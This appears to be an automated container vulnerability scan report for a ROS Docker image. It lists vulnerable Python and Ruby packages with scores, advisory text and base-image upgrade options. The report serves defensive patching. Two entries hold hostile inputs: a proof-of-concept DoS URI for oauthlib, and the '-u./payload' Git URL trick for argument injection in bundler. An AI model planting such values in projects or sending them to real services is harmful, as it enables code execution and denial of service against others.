resolv 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Validation of Specified Quantity in Input Affected range <0.2.3 Fixed version 0.2.3 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 0.022% EPSS Percentile 5th percentile Description A denial of service vulnerability has been discovered in the resolv gem bundled with Ruby. Details The vulnerability is caused by an insufficient check on the length of a decompressed domain name within a DNS packet. An attacker can craft a malicious DNS packet containing a highly compressed domain name. When the resolv library parses such a packet, the name decompression process consumes a large amount of CPU resources, as the library does not limit the resulting length of the name. This resource consumption can cause the application thread to become unresponsive, resulting in a Denial of Service condition. Affected Version The vulnerability affects the resolv gem bundled with the following Ruby series: Ruby 3.2 series: resolv version 0.2.2 and earlier Ruby 3.3 series: resolv version 0.3.0 Ruby 3.4 series: resolv version 0.6.1 and earlier Credits Thanks to Manu for discovering this issue. History Originally published at 2025-07-08 07:00:00 (UTC)

scipy 1.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Affected range <1.10.0 Fixed version 1.10.0 EPSS Score 0.160% EPSS Percentile 38th percentile Description A refcounting issue which leads to potential memory leak was discovered in scipy commit 8627df31ab in Py_FindObjects() function.

oauthlib 3.2.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Improper Input Validation Affected range >=3.1.1 <3.2.2 Fixed version 3.2.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.380% EPSS Percentile 59th percentile Description Impact Attacker providing malicious redirect uri can cause DoS to oauthlib's web application. Attacker can also leverage usage of uri_validate functions depending where it is used. What kind of vulnerability is it? Who is impacted? Oauthlib applications using OAuth2.0 provider support or use directly uri_validate function. Patches Has the problem been patched? What versions should users upgrade to? Issue fixed in 3.2.2 release. Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? The redirect_uri can be verified in web toolkit (i.e bottle-oauthlib, django-oauth-toolkit, ...) before oauthlib is called. A sample check if : is present to reject the request can prevent the DoS, assuming no port or IPv6 is fundamentally required. References Attack Vector: Attacker providing malicious redirect uri: https://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232 Vulnerable uri_validate functions: https://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py PoC is_absolute_uri("http://[:::::::::::::::::::::::::::::::::::::::]/path") Acknowledgement Special thanks to Sebastian Chnelik - PyUp.io

pip 22.0.2 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements used in a Command ('Command Injection') Affected range <23.3 Fixed version 23.3 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.044% EPSS Percentile 13th percentile Description When installing a package from a Mercurial VCS URL, e.g. pip install hg+..., with pip prior to v23.3, the specified Mercurial revision could be used to inject arbitrary configuration options to the hg clone call (e.g. --config). Controlling the Mercurial configuration can modify how and which repository is installed. This vulnerability does not affect users who aren't installing from Mercurial.

pygments 2.11.2 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Unrestricted Upload of File with Dangerous Type Affected range <2.15.0 Fixed version 2.15.0 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.053% EPSS Percentile 16th percentile Description A ReDoS issue was discovered in pygments/lexers/smithy.py in Pygments until 2.15.0 via SmithyLexer.

zipp 1.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Uncontrolled Resource Consumption Affected range <3.19.1 Fixed version 3.19.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.037% EPSS Percentile 10th percentile Description A Denial of Service (DoS) vulnerability exists in the jaraco/zipp library, affecting all versions prior to 3.19.1. The vulnerability is triggered when processing a specially crafted zip file that leads to an infinite loop. This issue also impacts the zipfile module of CPython, as features from the third-party zipp library are later merged into CPython, and the affected code is identical in both projects. The infinite loop can be initiated through the use of functions affecting the Path module in both zipp and zipfile, such as joinpath, the overloaded division operator, and iterdir. Although the infinite loop is not resource exhaustive, it prevents the application from responding. The vulnerability was addressed in version 3.19.1 of jaraco/zipp.

numpy 1.21.5 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Incorrect Comparison Affected range <1.22 Fixed version 1.22 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 0.065% EPSS Percentile 20th percentile Description Incomplete string comparison in the numpy.core component in NumPy1.9.x, which allows attackers to fail the APIs via constructing specific string objects.

net-imap 0.1.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Resource Consumption Affected range <=0.2.4 Fixed version 0.2.5 CVSS Score 6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.148% EPSS Percentile 36th percentile Description Summary There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response. This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname). Details The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted. Fix Upgrade Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20. To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7. Configuration To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited). When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used. # Set the global max_response_size (only ~> v0.4.20, > 0.5.7) Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB # Set when creating the connection imap = Net::IMAP.new(hostname, ssl: true, max_response_size: 16 << 10) # 16 KiB # Set after creating the connection imap.max_response_size = 256 << 20 # 256 KiB # flush currently waiting read, to ensure the new setting is loaded imap.noop Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses. Compatibility with lower max_response_size A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies: imap.max_response_size = 256 << 20 # 256 KiB imap.noop # flush currently waiting read # fetch a message in 252KiB chunks size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size limit = 252 << 10 message = ((0..size) % limit).each_with_object("") {|offset, str| str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:) } imap.max_response_size = 16 << 20 # 16 KiB imap.noop # flush currently waiting read References PR to introduce max_response_size: ✨ Limit max_response_size ruby/net-imap#444 Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb Backport to 0.4: ✨ Limit max_response_size (backport 0.4) ruby/net-imap#445 Backport to 0.3: ✨ Limit max_response_size (backport 0.3) ruby/net-imap#446 Backport to 0.2: ✨ Limit max_response_size (backport 0.2) ruby/net-imap#447

bundler 2.2.22 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affected range <2.2.33 Fixed version 2.2.33 CVSS Score 6.7 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H EPSS Score 1.811% EPSS Percentile 82nd percentile Description In bundler versions before 2.2.33, when working with untrusted and apparently harmless Gemfile's, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the Gemfile itself. However, if the Gemfile includes gem entries that use the git option with invalid, but seemingly harmless, values with a leading dash, this can be false. To handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables. Since this value comes from the Gemfile file, it can contain any character, including a leading dash. Exploitation To exploit this vulnerability, an attacker has to craft a directory containing a Gemfile file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of -u./payload. This URL will be used to construct a Git clone command but will be interpreted as the upload-pack argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as bundle lock, inside. Impact This vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the Gemfile (although they would need the weird URL with a leading dash to not raise any flags). This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on. Patches Bundler 2.2.33 has patched this problem by inserting -- as an argument before any positional arguments to those Git commands that were affected by this issue. Workarounds Regardless of whether users can upgrade or not, they should review any untrustred Gemfile's before running any bundler commands that may read them, since they can contain arbitrary ruby code. References https://cwe.mitre.org/data/definitions/88.html

lxml 4.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools NULL Pointer Dereference Affected range <4.9.1 Fixed version 4.9.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.659% EPSS Percentile 70th percentile Description NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

[github-actions]

Recommended fixes for image (linux/arm64) ghcr.io/cuautodrone/cuad-ros:latest

Base image is ubuntu:22.04

Name	jammy-20251001
Digest	sha256:40c5d6cde65809ff9d47ce06d1dd01d428a9af388a8918fc7a3310a55a4c39cb
Vulnerabilities
Pushed	1 week ago
Size	27 MB
Packages	143
Flavor	ubuntu
OS	22.04

The base image is also available under the supported tag(s): jammy, jammy-20251001

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

Tag	Details	Pushed	Vulnerabilities
25.10 Major OS version update Also known as: devel questing questing-20250830	Benefits: Image contains 20 fewer packages Image has similar size Image introduces no new vulnerability but removes 14 Major OS version update Image details: Size: 29 MB OS: 25.10	1 month ago
24.04 Tag is latest Also known as: noble latest noble-20250925	Benefits: Image contains 12 fewer packages Image has similar size Tag is latest Major OS version update Image details: Size: 29 MB OS: 24.04	1 week ago
25.04 Major OS version update Also known as: plucky rolling plucky-20250925.1	Benefits: Image contains 21 fewer packages Image has similar size Major OS version update Image details: Size: 28 MB OS: 25.04	2 weeks ago